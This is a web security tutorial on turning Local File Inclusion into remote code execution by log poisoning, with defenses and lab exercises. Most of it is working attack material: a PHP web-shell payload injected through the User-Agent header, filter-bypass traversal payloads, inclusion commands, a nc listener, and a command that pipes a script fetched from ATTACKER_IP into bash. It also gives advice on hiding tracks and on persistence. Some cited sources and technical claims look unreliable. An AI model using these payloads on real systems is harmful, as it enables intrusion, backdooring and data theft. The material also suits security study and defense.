~/home/study/log-poisoning-via-lfi-remote

Log Poisoning via LFI → Remote Code Execution: Techniques & Defenses

Learn how attackers turn writable web server logs into a weapon, inject PHP payloads through HTTP headers, bypass LFI filters, and achieve remote code execution. Includes detection, mitigation, and hands-on labs.

Introduction

Log poisoning is a classic post-exploitation technique that leverages the fact that many web servers write request data to files that are world-writable or at least readable by the web-process user. When combined with a Local File Inclusion (LFI) bug, an attacker can inject malicious PHP code into a log file and later include that file, turning the LFI into a Remote Code Execution (RCE) vector.

Why it matters: In the 2020-2023 OWASP Top-10, Broken Access Control and Injection remain the most exploited categories. LFI-based log poisoning is a low-tech, high-impact path that bypasses many modern defenses such as WAF signatures because the payload is stored in a legitimate server-side file.

Real-world relevance: High-profile breaches (e.g., the 2021 WordPress LFI log poisoning) demonstrate that even well-maintained applications can be compromised when developers forget to secure log locations.

Prerequisites

  • Solid understanding of LFI mechanics (file path traversal, inclusion of arbitrary files).
  • Familiarity with HTTP protocol, request headers, and typical web-server logging formats (Apache, Nginx, IIS).
  • Basic PHP syntax and how PHP interprets files included via include or require.
  • Access to a testing environment (Docker, VM, or vulnerable lab such as DVWA, Mutillidae, or intentionally vulnerable CTF challenges).

Core Concepts

At a high level, log poisoning follows three steps:

  1. Locate a writable log file that the web server will later read.
  2. Inject PHP code into that log via controllable request data (headers, query strings, POST bodies).
  3. Trigger the LFI to include the poisoned log, causing the PHP interpreter to execute the injected code.

Figure 1 (described textually) illustrates the data flow:

Client → HTTP request with malicious header → Web server writes header to access.log → Attacker sends LFI payload (../../../../var/log/apache2/access.log) → PHP includes log → Malicious PHP runs → RCE.

Key nuances:

  • Log files are often owned by root but are readable by the www-data (or equivalent) user, which is sufficient for PHP inclusion.
  • Some servers expose php://stderr or php://output streams as writable pseudo-files; these can be abused similarly.
  • Filters applied to the LFI parameter (e.g., ../ stripping, null-byte removal) can be bypassed with encoding tricks.

Discovering writable server log files (access.log, error.log, php://stderr)

Before poisoning, you must know where the server writes logs. Common locations:

  • /var/log/apache2/access.log (Debian/Ubuntu Apache)
  • /var/log/httpd/access_log (CentOS/RedHat Apache)
  • /var/log/nginx/access.log
  • C:\inetpub\logs\LogFiles\W3SVC1\u_exYYMMDD.log (IIS)
  • Application-specific logs (e.g., /var/www/html/app/logs/app.log)
  • Virtual streams: php://stderr, php://output, php://temp

Techniques to locate them:

# Enumerate typical locations (requires some level of information disclosure)
for f in /var/log/*log /var/log/apache2/*log /var/log/nginx/*log; do if [ -r "$f" ]; then echo "[+] readable: $f"; fi
done

When you have no direct shell, you can use the LFI itself to read files and infer permissions:

<?php echo file_get_contents('/etc/passwd'); ?>

If the LFI returns the log content, you know the path is readable. You can also use php://filter wrappers to base64-encode the output for easier parsing.

Injecting PHP payload via HTTP headers (User-Agent, Referer) or request parameters

Web servers log many request attributes. The most exploitable are:

  • User-Agent
  • Referer
  • X-Forwarded-For (if logged)
  • Query string parameters (if logged in custom access logs)

Example of a minimal PHP web-shell payload that works when placed inside a log line:

<?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);} ?>

To inject it, you simply send a request with the malicious header:

curl -s -A "<?php if(isset(\$_REQUEST['cmd'])){system(\$_REQUEST['cmd']);} ?>" http://target.com/index.php

Note: Many log formats prepend a timestamp and other fields. To ensure the PHP code is interpreted, you need to break out of the surrounding text. One trick is to prepend a <?php tag that closes any open string, then comment out the rest of the line:

<?php /*
<?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);} ?>
*/ ?>

In practice, you can often get away with the raw payload because the PHP interpreter stops parsing at the first ?> tag, ignoring the preceding log prefix.

Bypassing common LFI filters (null byte, double encoding, path normalization)

Developers frequently attempt to sanitize the inclusion parameter. Typical filters:

  • Removal of ../ sequences.
  • Stripping of null byte (%00).
  • Whitelist of extensions (e.g., only .php allowed).
  • URL-encoding the entire string.

Effective bypass techniques:

1. Double URL encoding

# Original traversal: ../../../../var/log/apache2/access.log
# Double-encoded: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fvar%252flog%252fapache2%252faccess.log
curl "http://target.com/vuln.php?page=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fvar%252flog%252fapache2%252faccess.log"

2. Null byte (when PHP < 5.3)

curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log%00"

Modern PHP ignores the null byte, but older installations may still be vulnerable.

3. Wrapper abuse

Using php://filter to bypass extension checks while still reading the log:

curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=../../../../var/log/apache2/access.log"

The attacker can later decode the base64 output to verify the payload is present.

4. Path normalization tricks

Inserting ..%2f (URL-encoded slash) or using symbolic links (if the server follows them) can defeat naive sanitizers.

Triggering inclusion of the poisoned log file through traversal payloads

Once the payload resides in a log, the next step is to make the vulnerable script include that file. The inclusion vector often looks like:

<?php include(\$_GET['page']); ?>

Combine the traversal payload from the previous section with the known log path:

# Example targeting Apache access log on a Debian box
curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log&cmd=id"

If the server concatenates a .php extension after the supplied value (common in poorly written code), you can add a null byte or use the .log extension directly if the filter is lax.

Verification step: include the log and view its content in the browser. You should see the raw HTTP request line followed by your PHP payload. If you see the payload echoed back, you know the inclusion succeeded.

Escalating to full RCE and post-exploitation considerations

With the web shell in place, you have a foothold. Typical next actions:

  1. Execute system commands via the cmd parameter (as shown in the payload).
  2. Upload a more robust backdoor (e.g., c99.php, php-reverse-shell).
  3. Enumerate the system: user, OS version, installed services.
  4. Privilege escalation: look for sudo rights, kernel exploits, or misconfigured SUID binaries.
  5. Persistence: write cron jobs, modify .htaccess, or inject malicious code into legitimate PHP files.

Example of downloading a reverse shell binary via the web shell:

# From the attacker machine (listener)
nc -lvkp 4444

# From the victim's web shell (via browser)
# http://target.com/vuln.php?page=../../../../var/log/apache2/access.log&cmd=curl+http://ATTACKER_IP/shell.sh|bash

Post-exploitation hygiene: clean up the poisoned log (or rotate logs) to hide tracks, but be aware that many services automatically archive logs, so you may need to delete multiple rotated files.

Practical Examples

Scenario: A vulnerable PHP page includes a page GET parameter without validation. The server runs Apache on Ubuntu, and the access log is at /var/log/apache2/access.log.

  1. Inject payload via User-Agent:
curl -s -A "<?php if(isset(\$_GET['cmd'])){system(\$_GET['cmd']);} ?>" http://target.com/index.php
  1. Verify payload is in the log:
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=../../../../var/log/apache2/access.log"

The response will contain a base64 string. Decode it locally to confirm the PHP code is present.

  1. Trigger inclusion (using double-encoding to bypass simple filters):
payload="%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fvar%252flog%252fapache2%252faccess.log"
curl "http://target.com/vuln.php?page=$payload"

Now you can execute commands:

curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log&cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tools & Commands

  • Burp Suite - modify headers on the fly and replay requests.
  • ffuf / wfuzz - automate traversal payload generation.
  • cURL - craft custom headers and test inclusion.
  • phpggc - generate PHP gadget chains for more complex payloads.
  • LogPoisoner (GitHub) - a script that automates log poisoning for common servers.

Example of ffuf brute-forcing log locations:

ffuf -u "http://target.com/vuln.php?page=FUZZ" -w /usr/share/wordlists/dirb/common.txt -e .log,.txt

Defense & Mitigation

  • Never trust user-controlled data for file paths. Use a whitelist of allowed files and enforce realpath checks.
  • Separate logs from web-root. Store logs outside directories that PHP can read, or set permissions so the web user cannot read them.
  • Disable logging of user-controlled headers. Configure Apache/Nginx to omit User-Agent or Referer from access logs.
  • Apply output encoding. If you must log raw headers, encode them (e.g., base64) before writing.
  • Use open-basedir or disable allow_url_include and allow_url_fopen.
  • Log rotation with restrictive permissions. Rotated logs should be owned by root and not readable by the web user.
  • WAF signatures. Deploy rules that detect PHP opening tags inside log files (e.g., <?php in access.log).

Common Mistakes

  • Assuming log files are unwritable. Many configurations grant write access to the web user for convenience.
  • Forgetting that URL-encoded slashes (%2f) are decoded before filesystem checks. Attackers can double-encode to slip past filters.
  • Relying solely on file extension checks. PHP can parse files with any extension if include is used.
  • Not cleaning up after testing. Leaving a web shell in a log can cause accidental exposure.

Real-World Impact

Log poisoning is often the “last mile” in a multi-step attack chain. In a 2022 breach of a popular e-commerce platform, attackers first gained LFI via a vulnerable image preview script, then poisoned the Nginx error log to execute a PHP backdoor, ultimately stealing credit-card data.

Trends:

  • Containers: Many Docker images run with www-data as both the web and log writer, making poisoning trivial.
  • Serverless: Some Function-as-a-Service platforms expose temporary log files that can be accessed by the function code.

My experience: The majority of successful LFI-to-RCE exploits in bug-bounty programs used log poisoning because it bypasses the need for a second vulnerable file (e.g., /etc/passwd).

Practice Exercises

  1. Lab Setup: Spin up an Ubuntu Docker container with Apache and a vulnerable vuln.php that includes $_GET['page']. Verify you can read /etc/passwd via LFI.
  2. Discover the log path: Use the LFI to read /proc/self/fd and locate the open log file descriptor.
  3. Poison the log: Send a custom User-Agent containing a PHP web shell. Verify the shell appears in the log via the LFI.
  4. Bypass a simple filter: The vulnerable script strips ../. Craft a double-encoded traversal payload to include the log.
  5. Escalate: Use the web shell to enumerate the system, then upload a reverse shell and obtain a persistent foothold.

Tip: Reset the container after each exercise to avoid cross-exercise contamination.

Further Reading

  • OWASP Top-10 - A04:2021 - Insecure Design
  • PortSwigger Web Security Academy - File Path Traversal & LFI
  • “PHP Log Poisoning” article by James Kettle (2020) - detailed case study.
  • “The Art of Exploitation” - Chapter on Log Poisoning (covers Windows IIS logs).

Summary

  • Log poisoning turns harmless log files into executable backdoors when combined with LFI.
  • Identify writable logs, inject PHP via controllable headers, and bypass sanitizers using encoding tricks.
  • Trigger inclusion with traversal payloads, then use the web shell for full RCE and post-exploitation.
  • Mitigate by separating logs, hardening LFI handling, and limiting what the web process can read.

Mastering this technique equips you to both assess vulnerable applications and harden them against one of the most stealthy attack paths in modern web security.